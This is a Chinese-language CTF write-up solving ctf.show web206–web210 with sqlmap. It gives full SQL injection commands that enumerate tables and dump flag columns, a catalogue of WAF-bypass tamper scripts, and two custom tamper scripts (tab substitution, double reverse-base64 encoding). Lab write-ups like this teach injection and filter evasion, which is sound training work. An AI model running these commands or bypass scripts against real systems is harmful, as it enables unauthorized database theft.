目录
1、web206
2、web207
3、web208
4、web209
5、web210
1、web206
sql需要闭合
测了一下还是会先请求 /api/getToken.php
查询语句里新增了括号,我们注入也需要将其闭合掉,就像我们闭合单引号那样,对于 sqlmap 它会自动对闭合点进行测试的,常见的就是单引号、双引号、单引号加括号或者双引号加括号。
我们现在不是手动注入,而是在用工具跑,直接用上一题的 payload 打:
将 url 和 cookie 替换成自己题目的,先跑数据库
python sqlmap.py -u http://3a456b73-7aec-4296-88d9-db6a1712922c.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://3a456b73-7aec-4296-88d9-db6a1712922c.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=ehie8a6a7jfba3cv19q5b7huvs" --safe-url="https://3a456b73-7aec-4296-88d9-db6a1712922c.challenge.ctf.show/api/getToken.php" --safe-freq=1 --dbs --batch
查数据库 ctfshow_web 下所有的表:
python sqlmap.py -u http://3a456b73-7aec-4296-88d9-db6a1712922c.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://3a456b73-7aec-4296-88d9-db6a1712922c.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=ehie8a6a7jfba3cv19q5b7huvs" --safe-url="https://3a456b73-7aec-4296-88d9-db6a1712922c.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --batch
存在一个名为 ctfshow_flaxc 的表
查该表下的所有列名:
python sqlmap.py -u http://3a456b73-7aec-4296-88d9-db6a1712922c.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://3a456b73-7aec-4296-88d9-db6a1712922c.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=ehie8a6a7jfba3cv19q5b7huvs" --safe-url="https://3a456b73-7aec-4296-88d9-db6a1712922c.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxc --columns --batch
查具体字段信息:
python sqlmap.py -u http://3a456b73-7aec-4296-88d9-db6a1712922c.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://3a456b73-7aec-4296-88d9-db6a1712922c.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=ehie8a6a7jfba3cv19q5b7huvs" --safe-url="https://3a456b73-7aec-4296-88d9-db6a1712922c.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxc -C flagv,id,tes --dump --batch
拿到 flag:ctfshow{b7eea077-ba49-4792-bfe6-9c5ff6c9cc01}
2、web207
--tamper 的初体验
--tamper 用于指定某个脚本,实现对过滤的绕过
这里是过滤了空格:
空格被过滤可以使用 space2comment.py,sqlmap --tamper 绕过WAF脚本分类整理:
apostrophemask.py 用utf8代替引号
base64encode.py 用base64编码替换
multiplespaces.py 围绕SQL关键字添加多个空格
space2plus.py 用+替换空格
space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’
unionalltounion.py 替换UNION ALL SELECT UNION SELECT
securesphere.py 追加特制的字符串
equaltolike.py like 代替等号
greatest.py 绕过过滤’>’ ,用GREATEST替换大于号
space2mssqlhash.py 替换空格
between.py 用between替换大于号(>)
randomcase.py 随机大小写
versionedmorekeywords.py 注释绕过
halfversionedmorekeywords.py 关键字前加注释
space2morehash.py 空格替换为 #号 以及更多随机字符串 换行符
在上一题 payload 的基础上追加 --tamper 参数:同样我们先跑数据库名
python sqlmap.py -u http://010a0a32-7c8b-4c6a-af1f-bc458f5183fc.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://010a0a32-7c8b-4c6a-af1f-bc458f5183fc.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=2lo2ir916nm0onrmog4boq7rsd" --safe-url="https://010a0a32-7c8b-4c6a-af1f-bc458f5183fc.challenge.ctf.show/api/getToken.php" --safe-freq=1 --dbs --batch --tamper space2comment.py
跑数据库 ctfshow_web 下的所有表名:
python sqlmap.py -u http://010a0a32-7c8b-4c6a-af1f-bc458f5183fc.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://010a0a32-7c8b-4c6a-af1f-bc458f5183fc.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=2lo2ir916nm0onrmog4boq7rsd" --safe-url="https://010a0a32-7c8b-4c6a-af1f-bc458f5183fc.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --batch --tamper space2comment.py
跑表 ctfshow_flaxca 下所有的列名:
python sqlmap.py -u http://010a0a32-7c8b-4c6a-af1f-bc458f5183fc.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://010a0a32-7c8b-4c6a-af1f-bc458f5183fc.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=2lo2ir916nm0onrmog4boq7rsd" --safe-url="https://010a0a32-7c8b-4c6a-af1f-bc458f5183fc.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxca --columns --batch --tamper space2comment.py
查字段 flagvc 的具体信息:
python sqlmap.py -u http://010a0a32-7c8b-4c6a-af1f-bc458f5183fc.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://010a0a32-7c8b-4c6a-af1f-bc458f5183fc.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=2lo2ir916nm0onrmog4boq7rsd" --safe-url="https://010a0a32-7c8b-4c6a-af1f-bc458f5183fc.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump --batch --tamper space2comment.py
拿到 flag:ctfshow{06c81e21-0f3d-49eb-9609-4a7ab6f48692}
3、web208
不仅过滤了空格,还将 select 替换为了空,采用大小写绕过,即 randomcase.py 随机大小写:
我们知道数据库就是 ctfshow_web,这次直接跑表名:
python sqlmap.py -u http://ed4bb388-5813-4f01-8c51-f57aeb8466be.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://ed4bb388-5813-4f01-8c51-f57aeb8466be.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=m751m5q6bq0iovaur5u94kteq4" --safe-url="https://ed4bb388-5813-4f01-8c51-f57aeb8466be.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --batch --tamper space2comment.py,randomcase.py
跑 ctfshow_flaxcac 下的列名:
python sqlmap.py -u http://ed4bb388-5813-4f01-8c51-f57aeb8466be.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://ed4bb388-5813-4f01-8c51-f57aeb8466be.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=m751m5q6bq0iovaur5u94kteq4" --safe-url="https://ed4bb388-5813-4f01-8c51-f57aeb8466be.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxcac --columns --batch --tamper space2comment.py,randomcase.py
跑 flagvca 的具体信息:
python sqlmap.py -u http://ed4bb388-5813-4f01-8c51-f57aeb8466be.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://ed4bb388-5813-4f01-8c51-f57aeb8466be.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=m751m5q6bq0iovaur5u94kteq4" --safe-url="https://ed4bb388-5813-4f01-8c51-f57aeb8466be.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxcac -C flagvca --dump --batch --tamper space2comment.py,randomcase.py
拿到 flag:ctfshow{1b58a671-213f-4704-81e1-10b5f5648feb}
4、web209
过滤了空格、星号和等号,等号过滤可以采用 like 代替,即:equaltolike.py
但是星号被过滤了,因此无法使用内敛注释 /**/,可以采用:水平制表符 (Tab): %09、换行符 (Newline): %0A、回车符 (Carriage Return): %0D 代替空格。
为了不影响它原本的 tamper,我新建了一个名为 myon.py 的文件,放在 tamper 目录下,先将 space2comment.py 的内容复制进去,如下:
这里我们随便选一个,比如用 %09,将 "/**/" 全部替换为 chr(0x09):
注意包括双引号一起替换掉,chr() 不能用双引号包裹,包裹后就成字符串了。
这里附上替换后的,如果有问题可以复制我的试一试:
#!/usr/bin/env python"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""from lib.core.compat import xrange
from lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWdef dependencies():passdef tamper(payload, **kwargs):"""Replaces space character (' ') with comments '/**/'Tested against:* Microsoft SQL Server 2005* MySQL 4, 5.0 and 5.5* Oracle 10g* PostgreSQL 8.3, 8.4, 9.0Notes:* Useful to bypass weak and bespoke web application firewalls>>> tamper('SELECT id FROM users')'SELECT/**/id/**/FROM/**/users'"""retVal = payloadif payload:retVal = ""quote, doublequote, firstspace = False, False, Falsefor i in xrange(len(payload)):if not firstspace:if payload[i].isspace():firstspace = TrueretVal += chr(0x09)continueelif payload[i] == '\'':quote = not quoteelif payload[i] == '"':doublequote = not doublequoteelif payload[i] == " " and not doublequote and not quote:retVal += chr(0x09)continueretVal += payload[i]return retVal
接下来我们使用 myon.py 和 equaltolike.py 跑表名:
python sqlmap.py -u http://b67f8aa1-323e-4653-adcd-93ca14c234ea.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://b67f8aa1-323e-4653-adcd-93ca14c234ea.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=6pu7k8ek2p743mt3l38at7hv8c" --safe-url="https://b67f8aa1-323e-4653-adcd-93ca14c234ea.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --batch --tamper myon.py,equaltolike.py
跑 ctfshow_flav 下的所有列:
python sqlmap.py -u http://b67f8aa1-323e-4653-adcd-93ca14c234ea.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://b67f8aa1-323e-4653-adcd-93ca14c234ea.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=6pu7k8ek2p743mt3l38at7hv8c" --safe-url="https://b67f8aa1-323e-4653-adcd-93ca14c234ea.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flav --columns --batch --tamper myon.py,equaltolike.py
跑字段 ctfshow_flagx 的信息:
python sqlmap.py -u http://b67f8aa1-323e-4653-adcd-93ca14c234ea.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://b67f8aa1-323e-4653-adcd-93ca14c234ea.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=6pu7k8ek2p743mt3l38at7hv8c" --safe-url="https://b67f8aa1-323e-4653-adcd-93ca14c234ea.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx --dump --batch --tamper myon.py,equaltolike.py
拿到 flag:ctfshow{6c70c03b-5911-40d9-87f1-1557c2acd276}
5、web210
会对查询字符进行两轮 base64 解码和反转
//对查询字符进行解密function decode($id){return strrev(base64_decode(strrev(base64_decode($id))));}
我们对查询的 payload 进行逆向处理,先反转,再 base64 加密,再反转,再 base64 加密,传入查询后,经过题目的解密和反转处理,最终又恢复到我们正确的 payload 实现注入。
为了避免和它原本目录下的 tamper 混淆,我在 tamper 目录下又新建了一个目录 myon,用于存放自己写的 tamper,这道题的脚本我命名为 strrev+base64.py,内容如下:
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64__priority__ = PRIORITY.LOWdef dependencies():passdef tamper(payload, **kwargs):retVal = payloadif payload:retVal = base64.b64encode(base64.b64encode(payload[::-1].encode())[::-1]).decode()return retVal
选择使用这个 tamper 进行注入:
注意文件路径根据自己实际情况填写
python sqlmap.py -u http://294080ed-8b70-4f5e-b137-062aa1bf8a07.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://294080ed-8b70-4f5e-b137-062aa1bf8a07.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=t9107ek3o7hvkc21n5u9sm9qgj" --safe-url="https://294080ed-8b70-4f5e-b137-062aa1bf8a07.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --batch --tamper="./tamper/myon/strrev+base64.py"
但是在执行的时候报错:
make sure that there is an empty file '__init__.py' inside of tamper scripts directory
意思大概是需要一个初始化的 __init__.py 在我们的脚本目录下,我们复制 tamper 目录下的 __init__.py 到自己新建的目录(我这里是 myon 下):
再次执行,成功:
拿到表名 ctfshow_flavi,查该表下的列名:
python sqlmap.py -u http://294080ed-8b70-4f5e-b137-062aa1bf8a07.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://294080ed-8b70-4f5e-b137-062aa1bf8a07.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=t9107ek3o7hvkc21n5u9sm9qgj" --safe-url="https://294080ed-8b70-4f5e-b137-062aa1bf8a07.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavi --columns --batch --tamper="tamper/myon/strrev+base64.py"
最后直接查 ctfshow_flagxx:
python sqlmap.py -u http://294080ed-8b70-4f5e-b137-062aa1bf8a07.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://294080ed-8b70-4f5e-b137-062aa1bf8a07.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=t9107ek3o7hvkc21n5u9sm9qgj" --safe-url="https://294080ed-8b70-4f5e-b137-062aa1bf8a07.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx --dump --batch --tamper="tamper/myon/strrev+base64.py"
拿下,flag:ctfshow{549d46ab-3974-43a6-ac07-cbcc41357083}